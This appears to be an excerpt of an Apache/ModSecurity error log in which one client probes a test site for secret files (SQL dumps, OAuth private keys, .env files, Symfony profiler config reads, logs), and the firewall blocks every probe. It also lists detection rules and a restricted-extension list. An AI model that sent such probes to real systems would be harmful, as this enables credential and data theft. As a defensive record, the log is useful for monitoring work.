[Thu Feb 26 01:03:34.801664 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfQAAAAc&quot;]
[Thu Feb 26 01:03:34.841364 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfgAAAAc&quot;]
[Thu Feb 26 01:03:34.841907 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfgAAAAc&quot;]
[Thu Feb 26 01:03:34.842107 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfgAAAAc&quot;]
[Thu Feb 26 01:03:34.876843 2026] [authz_core:error] [pid 2331624] [client 185.177.72.22:11402] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Feb 26 01:03:34.960284 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;parameters.yml&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVgQAAAAc&quot;]
[Thu Feb 26 01:03:34.960773 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVgQAAAAc&quot;]
[Thu Feb 26 01:03:34.960956 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVgQAAAAc&quot;]
[Thu Feb 26 01:03:34.984283 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVggAAAAc&quot;]
[Thu Feb 26 01:03:34.984830 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVggAAAAc&quot;]
[Thu Feb 26 01:03:34.984999 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVggAAAAc&quot;]
[Thu Feb 26 01:03:35.006750 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVgwAAAAc&quot;]
[Thu Feb 26 01:03:35.007251 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVgwAAAAc&quot;]
[Thu Feb 26 01:03:35.007405 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVgwAAAAc&quot;]
[Thu Feb 26 01:03:35.034059 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhAAAAAc&quot;]
[Thu Feb 26 01:03:35.034568 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhAAAAAc&quot;]
[Thu Feb 26 01:03:35.034737 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhAAAAAc&quot;]
[Thu Feb 26 01:03:35.076907 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhQAAAAc&quot;]
[Thu Feb 26 01:03:35.077386 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhQAAAAc&quot;]
[Thu Feb 26 01:03:35.077546 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N189iaYbHzIBMVEXVhQAAAAc&quot;]
[Thu Feb 26 01:03:35.447972 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmSwAAAAI&quot;]
[Thu Feb 26 01:03:35.448197 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmSwAAAAI&quot;]
[Thu Feb 26 01:03:35.448349 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.example&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmSwAAAAI&quot;]
[Thu Feb 26 01:03:35.603938 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmTwAAAAI&quot;]
[Thu Feb 26 01:03:35.604467 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmTwAAAAI&quot;]
[Thu Feb 26 01:03:35.604658 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmTwAAAAI&quot;]
[Thu Feb 26 01:03:35.638218 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUAAAAAI&quot;]
[Thu Feb 26 01:03:35.638715 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUAAAAAI&quot;]
[Thu Feb 26 01:03:35.638857 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aZ-N14Cbt-ue5ARpbmjmUAAAAAI&quot;]
[Thu Feb 26 01:03:35.670766 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag 